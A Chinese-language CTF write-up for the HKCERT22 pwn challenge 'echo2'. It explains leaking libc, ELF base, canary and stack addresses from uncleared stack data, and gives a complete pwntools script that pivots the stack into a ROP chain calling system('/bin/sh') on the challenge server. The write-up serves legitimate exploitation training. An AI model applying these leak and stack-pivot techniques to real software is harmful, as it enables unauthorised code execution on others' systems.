2022-11-12
[TOC]
🌓echo2
🌙分析
checksec检查发现保护全开了
程序主要逻辑为只要不输入"--\x00"就可以一直进行输入,并且这个输入可以造成溢出,但是溢出只能覆盖到函数返回地址,所以很明显使用one_gadget或者栈迁移来获取shell,我这里使用栈迁移技巧来获取shell
首先我们需要知道几个关键数据
- elf加载基地址
- libc加载基地址
- canary值
- stack地址
我们可以利用puts(buf)
来泄露栈中相关数据,因为程序并没有清除栈中垃圾数据
泄露顺序为libc地址->elf地址->canary值->stack地址
# leak libc
o.recvuntil('Input:')
payload = 'a'*7
o.sendline(payload)
o.recvuntil('a'*7+'\n')
stdout = u64(o.recv(6)+'\x00\x00')
log.info('stdout: '+hex(stdout))
# leak elf
o.recvuntil('Input:')
payload = 'a'*7*8 + 'a'*7
o.sendline(payload)
o.recvuntil('a'*7*8 + 'a'*7+'\n')
elf_addr = u64(o.recv(6)+'\x00\x00')
log.info('elf: '+hex(elf_addr))
# leak canary & stack
o.recvuntil('Input:')
payload = 'a'*13*8
o.sendline(payload)
o.recvuntil('a'*13*8+'\n')
canary = u64('\x00'+o.recv(7))
log.info('canary: '+hex(canary))
stack = u64(o.recv(6).ljust(8,'\x00'))
log.info('stack: '+hex(stack))
有了stdout的地址就可以泄露libc基地址
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
有了__libc_csu_init
地址就可以计算elf加载地址
elf_base = elf_addr - 0x12F0
有了stack地址就可以计算出buf地址
buf = stack - 144
最后就是实现栈迁移getshell
🌙Exploit
from pwn import*
# context.log_level='debug'
o = remote('chal.hkcert22.pwnable.hk', 28045)
#o = process('./chall/src/chall')
libc = ELF('./libc-2.31.so')
# leak libc
o.recvuntil('Input:')
payload = 'a'*7
o.sendline(payload)
o.recvuntil('a'*7+'\n')
stdout = u64(o.recv(6)+'\x00\x00')
log.info('stdout: '+hex(stdout))
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
log.info('libc_base: '+hex(libc_base))
# leak elf
o.recvuntil('Input:')
payload = 'a'*7*8 + 'a'*7
o.sendline(payload)
o.recvuntil('a'*7*8 + 'a'*7+'\n')
elf_addr = u64(o.recv(6)+'\x00\x00')
log.info('elf: '+hex(elf_addr))
elf_base = elf_addr - 0x12F0
# leak canary & stack
o.recvuntil('Input:')
payload = 'a'*13*8
o.sendline(payload)
o.recvuntil('a'*13*8+'\n')
canary = u64('\x00'+o.recv(7))
log.info('canary: '+hex(canary))
stack = u64(o.recv(6).ljust(8,'\x00'))
log.info('stack: '+hex(stack))
buf = stack - 144
# rop
o.recvuntil('Input:')
sys_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
leave_ret = elf_base + 0x12E3
pop_rdi = elf_base + 0x1353
ret = elf_base + 0x12B6
payload = '--\x00\x00\x00\x00\x00\x00' + p64(pop_rdi) + p64(binsh_addr) + p64(ret) + p64(sys_addr)
payload = payload.ljust(13*8, 'a')
payload += p64(canary)
payload += p64(buf)
payload += p64(leave_ret)
o.sendline(payload)
o.interactive()
🌙附件
https://flowus.cn/c3n1g/share/d5c64984-67dc-4560-acb4-86d6690264a1 【FlowUs 息流】echo2.zip